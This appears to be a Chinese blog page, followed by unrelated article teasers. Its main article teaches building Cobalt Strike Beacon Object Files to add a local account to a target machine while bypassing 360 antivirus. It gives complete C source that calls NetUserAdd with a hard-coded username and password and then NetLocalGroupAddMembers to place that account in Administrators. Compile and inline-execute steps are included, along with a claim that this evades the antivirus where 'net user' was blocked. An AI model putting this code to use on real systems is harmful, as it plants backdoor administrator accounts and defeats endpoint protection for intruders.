当前位置: 首页 > news >正文

绕过360给目标机器添加账户

CS BOF是什么?

Beacon 对象文件 (BOF) 是一个已编译的 C 程序,按照约定编写,允许其在 Beacon 进程内执行并使用内部 Beacon API。BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。

BOF 的占地面积较小。它们在 Beacon 进程内部运行,并且可以使用进程注入块中的可延展的 c2 配置文件来控制内存。

如何开发BOF?

下段代码是官方给出的代码:
下段代码是官方给出的代码:

#include <windows.h>
#include“beacon.h”
void go(char * args, int alen) {BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args);
}

这里的beacon.h头文件的下载地址如下:

https://hstechdocs.helpsystems.com/kbfiles/cobaltstrike/attachments/beacon.h

这里可以使用 Visual Studio 进行编译也可以使用MinGW进行编译。

VS编译如下:

cl.exe /c /GS- hello.c /Fo hello.obj

但是这里需要注意一个问题,这样编译的话可能会报错,不包括路径集等等。

这里需要将这几个目录加入到系统变量中,系统变量名为:INCLUDE 参考:
https://blog.csdn.net/weixin_41115751/article/details/89817123
在这里插入图片描述
在BOF中我们是可以通过GetProcAddress,LoadLibraryA,GetModuleHandle 来调用我们想要的windows API。

例如我们可以将添加用户的代码放到go函数中。

#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line,  char* msg, HRESULT hr) {
#ifdef BOF//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);BeaconPrintf(CALLBACK_OUTPUT,"Hello world");
#elseprintf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOFreturn FALSE;
}
#pragma endregiontypedef DWORD NET_API_STATUS;DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);#include <LM.h>#ifdef BOF
void go(char* buff, int len) {USER_INFO_1 UserInfo;DWORD dwLevel = 1;DWORD dwError = 0;UserInfo.usri1_name = (TCHAR*)L"test123";            // 账户    UserInfo.usri1_password = (TCHAR*)L"Test@#123";      // 密码UserInfo.usri1_priv = USER_PRIV_USER;UserInfo.usri1_home_dir = NULL;UserInfo.usri1_comment = NULL;UserInfo.usri1_flags = UF_SCRIPT;UserInfo.usri1_script_path = NULL;NET_API_STATUS nStatus;nStatus = NETAPI32$NetUserAdd(NULL,dwLevel,(LPBYTE)&UserInfo,&dwError);if (nStatus == NERR_Success) {BeaconPrintf(CALLBACK_OUTPUT, "添加成功", NULL);}else {BeaconPrintf(CALLBACK_OUTPUT, "添加失败 %d", nStatus);}LOCALGROUP_MEMBERS_INFO_3 account;account.lgrmi3_domainandname = UserInfo.usri1_name;NET_API_STATUS aStatus;aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);if (aStatus == NERR_Success) {BeaconPrintf(CALLBACK_OUTPUT, "User has been successfully added to Administrators", NULL);}else {BeaconPrintf(CALLBACK_OUTPUT, "User added to Administrators error ", NULL);}}
#elsevoid main(int argc, char* argv[]) {}#endif

如下图使用inline-execute调用即可。
在这里插入图片描述
如下图直接使用net user去添加账户:

这里卡住了,来看下win10机器显示。

在这里插入图片描述在这里插入图片描述
可以发现是不行的,我们用BOF执行。

可以发现已经添加成功了,360没有任何反应。

在这里插入图片描述

态函数

除了直接调用windows API之外,我们也可以使用动态函数来进行解析。

动态函数解析就是将Win32 API的声明和调用变成如下格式:

NETAPI32$NetUserAdd
左边是DLL右边是函数名
环境准备
操作系统:windows10
编译器:VS    

这里我们使用的是BOF开发模板是:

https://github.com/securifybv/Visual-Studio-BOF-template

环境搭建

首先从github上下载下来之后,然后放到VS的模板目录。

如下图:
在这里插入图片描述
放到这里之后打开VS,可以看到已经有这个模板了。

在这里插入图片描述
点击创建。

但是这里创建出来的文件是Source.cpp,也就是C++的文件。
在这里插入图片描述
这里我们将这个文件复制出来然后改成C文件。
在这里插入图片描述
然后点击生成->批生成
在这里插入图片描述
勾选前两个即可。
在这里插入图片描述
然后生成即可。
在这里插入图片描述
在这里插入图片描述
如上图就生成成功了。

入口

其实go函数就是BOF的入口,当你在CS上执行inline-execute命令的时候,就会调用go函数。

所以我们可以将win32相关API写到go函数中。

如下例子获取当前用户名:

#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
#elseprintf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOFreturn FALSE;
}
#pragma endregionDECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);#include <LM.h>#ifdef BOF
void go(char* buff, int len) {char username[1024];DWORD usernameLength = sizeof username;ADVAPI32$GetUserNameA(username, &usernameLength);BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);
}
#elsevoid main(int argc, char* argv[]) {}#endif

在这里插入图片描述

相关文章:

绕过360给目标机器添加账户

CS BOF是什么&#xff1f; Beacon 对象文件 (BOF) 是一个已编译的 C 程序&#xff0c;按照约定编写&#xff0c;允许其在 Beacon 进程内执行并使用内部 Beacon API。BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。 BOF 的占地面积较小。它们在 Beacon 进程内部运…...

C/C++ 题目:给定字符串s1和s2,判断s1是否是s2的子序列

判断子序列一个字符串是否是另一个字符串的子序列 解释&#xff1a;字符串的一个子序列是原始字符串删除一些&#xff08;也可以不删除&#xff09;字符&#xff0c;不改变剩余字符相对位置形成的新字符串。 如&#xff0c;"ace"是"abcde"的一个子序…...

Nginx的stream配置

一、stream模块概要。 stream模块一般用于tcp/UDP数据流的代理和负载均衡&#xff0c;可以通过stream模块代理转发TCP消息。 ngx_stream_core_module模块由1.9.0版提供。 默认情况下&#xff0c;没有构建此模块。 -必须使用-with stream配置参数启用。 也就是说&#xff0c;必…...

ubuntu 20.04 server 安装 zabbix

ubuntu 20.04 server 安装 zabbix 参考文档 zabbix没用过&#xff0c;用过prometheus&#xff0c; 因为现在很多应用都支持直接接入prometheus监控&#xff0c; 而且大部分语言都都有sdk支持&#xff0c; 可以直接接入自己的业务数据监控。 https://www.zabbix.com/cn/downlo…...

hive映射es表任务失败,无错误日志一直报Task Transitioned from NEW to SCHEDULED

一、背景 要利用gpt产生的存放在es种的日志表做统计分析&#xff0c;通过hive建es的映射表&#xff0c;将es的数据拉到hive里面。 在最初的时候同事写的是全量拉取&#xff0c;某一天突然任务报错&#xff0c;但是没有错误日志一直报&#xff1a;Task Transitioned from NEW t…...

手眼标定 - 最终精度和误差优化心得

手眼标定 - 标定误差优化项 一、TCP标定误差优化1、注意标定针摆放范围2、TCP标定时的点次态与工作姿态尽可能保持相近 二、深度相机对齐矩阵误差1、手动计算对齐矩阵 三、手眼标定拍照姿态1、TCP标定姿态优先2、水平放置棋盘格优先 为减少最终手眼标定的误差&#xff0c;可做或…...

pytorch一致数据增强

分割任务对 image 做&#xff08;某些&#xff09;transform 时&#xff0c;要对 label&#xff08;segmentation mask&#xff09;也做对应的 transform&#xff0c;如 Resize、RandomRotation 等。如果对 image、label 分别用 transform 处理一遍&#xff0c;则涉及随机操作的…...

MapReduce

1. MapReduce是什么&#xff1f;请简要说明它的工作原理。 MapReduce是一种编程模型&#xff0c;主要用于处理大规模数据集的并行运算&#xff0c;特别是非结构化数据。这个模型的核心思想是将大数据处理任务分解为两个主要步骤&#xff1a;Map和Reduce。用户只需实现map()和r…...

Spring Boot 快速入门

Spring Boot 快速入门 什么是Spring Boot Spring Boot是一个用于简化Spring应用开发的框架&#xff0c;它基于Spring框架&#xff0c;提供了自动配置、快速开发等特性&#xff0c;使得开发者可以更加便捷地构建独立的、生产级别的Spring应用。 开始使用Spring Boot 步骤一&a…...

什么是神经网络的非线性

大家好啊&#xff0c;我是董董灿。 最近在写《计算机视觉入门与调优》&#xff08;右键&#xff0c;在新窗口中打开链接&#xff09;的小册&#xff0c;其中一部分说到激活函数的时候&#xff0c;谈到了神经网络的非线性问题。 今天就一起来看看&#xff0c;为什么神经网络需…...

前端知识(十四)——浅谈用户体验测试的主要功能

用户体验(User Experience&#xff0c;简称UX)在现代软件和产品开发中变得愈发重要。为了确保产品能够满足用户期望&#xff0c;提高用户满意度&#xff0c;用户体验测试成为不可或缺的环节。本文将详细探讨用户体验测试的主要功能&#xff0c;以及它在产品开发过程中的重要性 …...

解决前端跨域问题,后端解决方法

Spring CloudVue前后端分离项目报错&#xff1a;Network Error&#xff1b;net::ERR_FAILED&#xff08;请求跨越&#xff09;-CSDN博客记录自用...

【网络奇缘系列】计算机网络|数据通信方式|数据传输方式

&#x1f308;个人主页: Aileen_0v0&#x1f525;系列专栏: 一见倾心,再见倾城 --- 计算机网络~&#x1f4ab;个人格言:"没有罗马,那就自己创造罗马~" 这篇文章是关于计算机网络中数据通信的基础知识点&#xff0c; 从模型&#xff0c;术语再到数据通信方式&#…...

数组 注意事项

1.一维数组的初始化 int a[5]{1,2,3,4,5}; 合法 int a[5]{1,2,3}; 合法 int a[]{1,2,3,4,5}; 合法&#xff0c;后面决定前面的大小 int a[5]{1,2,3,4,5,6}; 不合法&#xff01; 2.一维数组的定义 int a[5] 合法 int a[11] 合法 int a[1/24] 合法 int x5,a[x…...

day11 滑动窗口中的最大值

class MyQueue { //单调队列&#xff08;从大到小&#xff09;public:deque<int> que; // 使用deque来实现单调队列// 每次弹出的时候&#xff0c;比较当前要弹出的数值是否等于队列出口元素的数值&#xff0c;如果相等则弹出。// 同时pop之前判断队列当前是否为空。void…...

viple模拟器使用(五):Web 2D模拟器中实现两距离局部最优迷宫算法

关于两距离局部最优迷宫算法的原理本文不再赘述&#xff0c;详情请参考&#xff1a;viple模拟器使用&#xff08;四&#xff09;&#xff0c;归纳总结为&#xff1a; 前方有路&#xff0c;则直行&#xff1b; 前方无路&#xff0c;则右转90度&#xff0c;标记右转完成&#xff…...

每日一道算法题 3(2023-12-11)

题目描述&#xff1a; VLAN是一种对局域网设备进行逻辑划分的技术&#xff0c;为了标识不同的VLAN&#xff0c;引入VLAN ID(1-4094之间的整数)的概念。 定义一个VLAN ID的资源池(下称VLAN资源池)&#xff0c;资源池中连续的VLAN用开始VLAN-结束VLAN表示&#xff0c;不连续的用单…...

【Android】查看keystore的公钥和私钥

前言&#xff1a; 查看前准备好.keystore文件&#xff0c;安装并配置openssl、keytool。文件路径中不要有中文。 一、查看keystore的公钥&#xff1a; 1.从keystore中获取MD5证书 keytool -list -v -keystore gamekeyold.keystore 2.导出公钥文件 keytool -export -alias …...

ChatGPT的常识

什么是ChatGPT&#xff1f; ChatGPT是一个基于GPT模型的聊天机器人&#xff0c;GPT即“Generative Pre-training Transformer”&#xff0c;是一种预训练的语言模型。ChatGPT使用GPT-2和GPT-3两种模型来生成自然语言响应&#xff0c;从而与人类进行真实的对话。 ChatGPT的设计…...

Spring Boot中的事务是如何实现的?懂吗?

SpringBoot中的事务管理&#xff0c;用得好&#xff0c;能确保数据的一致性和完整性&#xff1b;用得不好&#xff0c;可能会给性能带来不小的影响哦。 基本使用 在SpringBoot中&#xff0c;事务的使用非常简洁。首先&#xff0c;得感谢Spring框架提供的Transactional注解&am…...

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇&#xff0c;在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下&#xff1a; 【Note】&#xff1a;如果你已经完成安装等操作&#xff0c;可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作&#xff0c;重…...

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止

<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet&#xff1a; https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...

1.3 VSCode安装与环境配置

进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件&#xff0c;然后打开终端&#xff0c;进入下载文件夹&#xff0c;键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...

【git】把本地更改提交远程新分支feature_g

创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...

论文笔记——相干体技术在裂缝预测中的应用研究

目录 相关地震知识补充地震数据的认识地震几何属性 相干体算法定义基本原理第一代相干体技术&#xff1a;基于互相关的相干体技术&#xff08;Correlation&#xff09;第二代相干体技术&#xff1a;基于相似的相干体技术&#xff08;Semblance&#xff09;基于多道相似的相干体…...

动态 Web 开发技术入门篇

一、HTTP 协议核心 1.1 HTTP 基础 协议全称 &#xff1a;HyperText Transfer Protocol&#xff08;超文本传输协议&#xff09; 默认端口 &#xff1a;HTTP 使用 80 端口&#xff0c;HTTPS 使用 443 端口。 请求方法 &#xff1a; GET &#xff1a;用于获取资源&#xff0c;…...

【JavaSE】多线程基础学习笔记

多线程基础 -线程相关概念 程序&#xff08;Program&#xff09; 是为完成特定任务、用某种语言编写的一组指令的集合简单的说:就是我们写的代码 进程 进程是指运行中的程序&#xff0c;比如我们使用QQ&#xff0c;就启动了一个进程&#xff0c;操作系统就会为该进程分配内存…...

Python 实现 Web 静态服务器(HTTP 协议)

目录 一、在本地启动 HTTP 服务器1. Windows 下安装 node.js1&#xff09;下载安装包2&#xff09;配置环境变量3&#xff09;安装镜像4&#xff09;node.js 的常用命令 2. 安装 http-server 服务3. 使用 http-server 开启服务1&#xff09;使用 http-server2&#xff09;详解 …...

Linux部署私有文件管理系统MinIO

最近需要用到一个文件管理服务&#xff0c;但是又不想花钱&#xff0c;所以就想着自己搭建一个&#xff0c;刚好我们用的一个开源框架已经集成了MinIO&#xff0c;所以就选了这个 我这边对文件服务性能要求不是太高&#xff0c;单机版就可以 安装非常简单&#xff0c;几个命令就…...